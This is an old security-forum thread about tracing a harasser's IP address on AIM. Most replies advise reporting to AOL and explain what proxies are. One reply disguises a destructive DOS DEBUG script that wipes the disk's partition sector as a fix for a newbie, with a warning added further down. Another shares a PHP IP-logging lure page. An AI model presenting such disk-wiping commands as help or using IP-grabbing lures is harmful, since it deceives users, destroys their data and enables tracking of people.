Trying To Figure Out A Stranger

Hi everyone... I'm not that great with security or hacking so I decided to come here for help.

I'm not doing this for fun or anything. Story is, I have this guy who IM's my friends and I on AIM talking about how he wants to make us crash and burn and then make our lives miserable. Apparantly, he has been stalking us also because he knows when and where we hang out every night. I'm guessing he's someone from the past trying to scare us but it's getting so irritating.

So, I was wondering... what's a good way to find someone's IP address on AIM for a newbie? I want to figure out this guy's deal before he actually goes through with his threats.

Report him to AOL.


If you cannot get his IP address on your own, you will not be able to do anything to him when you find it.

And even if you did manage to get an IP, the person could be using a Proxy.

I would just do as Dop has suggested and just report him/her and send a copy of the messages that they have sent.
And let them take care of the rest..

The great god's of AOL gave us the almighty "ignore" feature... I suggest you use it...

They also gave AIM screen name registering without e-mail confirmation those idiots.

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Originally posted here by .:front2back:.
And even if you did manage to get an IP, the person could be using a Proxy.

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I'm intrigued to know how to trace the true IP address if someone is using a proxy. The suggetsion in this thread is that AOL could do somthing about the posts so, presumably, they could find the true IP address. I know that no proxy allows absolute anonymity.

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I know that no proxy allows absolute anonymity.

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But what if they were using some person's computer that they had slyly installed a root kit on.?
So then AOL thinking they've caught the person gain the IP details from this innocent person.
They then call the ISP get the innocent person's internet canceled, then realise that infact that they got the wrong person, and then they are at the start once again..
By that time the attacker would be long gone sending hate mail to some other person.. ;)

cheers
front2back

In my opinion you sound like a skiddie trying to get a friends IP to packet them. If you really aren't lieing just take everybodies advice and just report it to AOL, even if they are using AIM, I would suspect that they can help you out anyways since it IS AOL Instant Messenger

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Originally posted here by infectedkilljoy
So, I was wondering... what's a good way to find someone's IP address on AIM for a newbie? I want to figure out this guy's deal before he actually goes through with his threats.

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Spoon feed me how I become a script Kiddie!
You can read my diaries and learn how to become a script kiddie when I'm six feet under!

infectedkilljoy:

Create a text file called A:\DELPART.TXT with your favorite text editor. Then copy the next few lines of text...
a 100 int13rax
0301
rbx
0200
f 200 l 200 0
rcx
0001
rdx
0080
p
q
...into the file and copy it to a DOS boot floppy along with a copy of DEBUG.EXE.

Boot with the floppy and at the command prompt, type:

Debug < Delpart.txt

Or report to AOL and move on.

Seriously; WTF are you going to do with an IP Address? Nmap? DdoS? Break into the ISP's Finance department, get their address and burn the house down?

Another year and still the same ****!

P.S. DO NOT USE THE ABOVE COMMANDS *****************************

How does someone get your IP address? And, if they have it, what exactly can they do. Read every email message you have ever sent? How can you prevent this.

What is a proxy and how safe is it?

Obviously I am new at this security thing but really need answers so any and all help is appreciated more then I can say. thanks in advance.

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So, I was wondering... what's a good way to find someone's IP address on AIM for a newbie? I want to figure out this guy's deal before he actually goes through with his threats.

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There isn't one.................if they are using AOL then all you will see are AOL proxy servers.

If not, they might be using a proxy of their own, using someone else's box they have rooted, using an unsecured WiFi connection...................as already suggested.

Also, many connections are dynamic, and reallocated, so the information would be pretty meaningless.

What you have to consider is that if a person has malicious intent, they will almost certainly have taken precautions to hide and protect themselves?

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How does someone get your IP address? And, if they have it, what exactly can they do. Read every email message you have ever sent? How can you prevent this.

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If you have secured your system, there is not a lot other than a denial of service attack. If you have confidential information in your e-mails then archive them and password protect/encrypt the file. There are a variety of ways of finding IP addresses but as others and myself have pointed out, this information may well be useless.


What is a proxy?

http://www.webopedia.com/TERM/P/proxy_server.html

:)

MindyLynne

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How does someone get your IP address? And, if they have it, what exactly can they do. Read every email message you have ever sent? How can you prevent this

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[sarcasm]
If someone gets your IP, you're in some serious sh*t. They can empty your bank accounts, read all your emails, take control over your computer, posess your garage door opener, turn your living room lights on and off, make your dog convulse, and give you gas. I recommend disabling your internet connection, turn your lights off, take some Tums, and hide behind the refrigerator.
[/sarcasm]

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what is a proxy and how safe is it?

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[sarcasm]
A Proxy is a small, indonesian, 3-legged dog, that can bark out the chinese alphabet. They are known to have a bad tempers and will pee incessently upon hearing richard simmons voice on the television. I recommend avoiding these dogs at all costs as not only are they not safe, they have a tendency to eat your eyebrows while you sleep.
There. That should answer your questions. [/sarcasm]

ShagDevil: Is helping someone is against your religion?

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Originally posted here by MindyLynne
How does someone get your IP address? And, if they have it, what exactly can they do. Read every email message you have ever sent? How can you prevent this.

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MindyLynne, ShagDevil's comments aside, I don't want to sound rude but you are asking questions that have answers you won't be able to use. What I mean is this:

How does someone get your IP address? Various ways. From asking you for it, monitoring network traffic between your computer and theirs, reading system logs, or asking a network operator, among many others.

What is a proxy and how safe is it? A proxy is typically a computer or network that takes your network traffic and sends on out for you, usually without any identification info about you in the traffic, thus hiding the source (you) from the destination. A simple real world analogy would be a fowarded mailing address with no return address...although that analogy is a weak one.

Read every email message you have ever sent? Whatever gives you the impression that this is possible? What gave you this silly idea? Reconsider the validity of the source of your information.

So you say you are new and really need help...but unfortunately you don't seem to grasp enough of the basics of the underlying technology to do anything useful with answers given, valid or not.

I'm sorry if I come over as condescending, not my intention, but really, it's like asking an Automechanic for a detailed recommendations on how to fine tune your car when you don't know the difference between an electric motor and internal combustion engine.

So I have one of two suggetions...
#1, if you are sincere, do some more reading, lurking, and learn. Stick to the Newbie forum for a while
#2, if you are a troll, farq off. If this offends you, sorry, you might not be the troll I suspect. If you are, well, you'll be tossed out of here soon enough.

I have admitted that I know nothing so I really don't understand all of the insults. I have a real problem and because of my lack of knowledge I came to this board asking for help and understanding, that is all. I am not a troll (whatever that means) and I am a newbie with regard to email security, so I have posted in the correct place. I really can't understand the negative reaction when someone who admits to be unknowledgeable asks what I consider to be reasonable questions.

By the way, zencoder, I am reading, lurking and trying to learn and that is why I posted my questions to begin with. I was told by someone, (who doesn't pretend to be an expert) that once someone has your IP address, they can access your emails. I know someone has accessed my emails (no question about it) and thought that having the IP address could have somehow helped them to do this. How else could they get my yahoo account information? I have seen transcripts of my emails so I know someone did it somehow and I am searching for answers regarding how this happened so I can prevent it from happening again. And, no my user name and password were not obvious. Somehow they were able to learn that information and I am desperate to know how they did it.

Once I learn more, then I will know how to use the information. I am simply trying to understand what happend and how it could have happened. Nothing sinister about it. I am sorry if I offended anyone in my trying to learn. I assure you it was not my intent.

I am sorry...
But who evertold you "once they have your IP the can read your email"is full of sh1t.

Now...if you machine has been compromised in some way with a keylogger\trojan or some other malware...that is different....

From another post...if this is a work place machine...you should be contacting your IT department....as it is up to them to fix it.

Now...your yahoo mail account....you say someone is reading your mail...

Change your password....

MLF

[Comment]This conversation seems to be passing back and forth between 2 threads. Let's keep it all in one of them for claritys sake.
http://www.antionline.com/showthread...hreadid=272906


Well, I don't know what to say about your feelings.

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I'm sorry if I come over as condescending, not my intention, but really...

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It's not insulting, it's blunt. Sorry if you can't handle that.

A Troll is someone who posts with exagerated or ridiculous or loaded comments that are intended to incite flames and arguments from other users, mostly to make them look foolish. We've had some problems with a member lately, and (s)he is not above this sort of childishness.

The person with the info about IP's and email was wrong. Sorry. To make yet another of my analogys, what they told you is similar to saying something like "If I know your home address, I can read all the mail you've ever gotten from the Postal Service." It just doesn't work that way.

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I have seen transcripts of my emails so I know someone did it

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Ah, now you see, that is useful info for us. Yes, you are correct that someone indeed has read your email correspondence...there are several ways this can happen, the likeliest of which I'll outline:
[list=1][*]Someone guessed, stole, or had access to your email password (IT staff could do any of these, with the right permissions or skill)[*]Eavesdropped the email traffic while it was traveling over the network (if it was not encrypted...this varies and may not be correct, based on your email system and client)[*]Access to the email server(s) or your workstation (this would be the most obvious way for IT staff to get your email)[*]One of the parties you sent to or received from shared these messages with other people, with or without your knowledge[/list=1]
There are probably others, but these constitute the most likely methods for someone getting transcripts of your messages.

You say your username/password are not obvious. Let me ask a few background questions...I am not judging and really don't care, but the answers will allow us to maybe suggest some safer ways of doing things.
[list=1][*]Is this email account part of your company systems? Or are you accessing email that is outside (email from your ISP, Yahoo mail, Hotmail, or somethign similar?)[*]Have you changed the password to the account, and used a very strong password?[*]What client do you use to read and send email? Outlook Express? Thunderbird? Another?[/list=1]
As for the insults...well, you can take what you read on the web as you will. I wasn't trying to be insulting, just frank. I'm sure myself or others can provide you with some steps if you give us the details above, and any other info you might want to share about this situation. I'm guessing, but I think it sounds like you may have gotten into a bit of trouble at work with personal email, and you are trying to learn how they busted you, and how to better cover your tracks. That, or its an HR issue with another employee as I eluded to in the thread you started, in which case anything we could tell you is secondary, and you really need to involve the right authorities in your company.

If you do a direct connect in AIM and then do a netstat, it will give you the IP of the person you are directly connected to.

To be frankly honest just save all log files and report to AOL let them handle it

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If you do a direct connect in AIM and then do a netstat, it will give you the IP of the person you are directly connected to.

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once again AOL proxy servers

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Originally posted here by cdkj
once again AOL proxy servers

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No, this does give you the IP.

get the person to visit a specially crafted webpage that will get store their ip address to a text file/database/whatever... example below

PHP Code:

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//profile.php or some sort of attractive name that will get the user to click the link
<?php
   $IP = $_SERVER['REMOTE_ADDR'];
   $file = fopen("log.txt", "w");
   fwrite($file, $IP);
   fclose($file); 
?> 


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and yes, aol servers mask direct connection ips so that netstat does not give you the ip.

Hey is this how i treat a newbie?????

we ppl come here to actually learn something...

u arent doing much good by indirectly terrorising us !!!!!!!!

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Originally posted here by ShagDevil
MindyLynne

[sarcasm]
If someone gets your IP, you're in some serious sh*t. They can empty your bank accounts, read all your emails, take control over your computer, posess your garage door opener, turn your living room lights on and off, make your dog convulse, and give you gas. I recommend disabling your internet connection, turn your lights off, take some Tums, and hide behind the refrigerator.
[/sarcasm]

[sarcasm]
A Proxy is a small, indonesian, 3-legged dog, that can bark out the chinese alphabet. They are known to have a bad tempers and will pee incessently upon hearing richard simmons voice on the television. I recommend avoiding these dogs at all costs as not only are they not safe, they have a tendency to eat your eyebrows while you sleep.
There. That should answer your questions. [/sarcasm]

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chazz_cs

This is a public forum....and not everyone replied with [sarcasm]

and when ShagDevil did.....he\she let everyone know it was [sarcasm]

There is some excellent advice in this thread

Get over it :rolleyes:

MLF

My initial response was for laughs. Obviously this was taken way out of context and forseen as some kind of ad hominem attack. My apologies to any/all whom were offended as my intentions were simply to make people laugh. I fail to see why humor can't be injected into serious conversations without pissing people off but, so be it.
chazz_cs,

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u arent doing much good by indirectly terrorising us !!!!!!!!

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Take a chill pill. If you think my sarcastic reply was an indirect form of terrorism, then burning the meatloaf is the apocolypse I suspect?
alleyCat,

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ShagDevil: Is helping someone is against your religion?

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I would say that 90% of the time my replies are streamlined in order to help people or at least facilitate a solution of sorts.
In any event, this was not MindyLynne's thread. Situation in mind, I found it insulting that she/he decided to start a thread inside infectedkilljoy's thread. This tends to lead to confusion inside a thread and more often than not, focuses attention away from the subject matter at hand. I could have been a real ***** and negged MindyLynne but I didn't , instead I used the lost art of sarcasm as my reply. If you don't like it, then don't read it.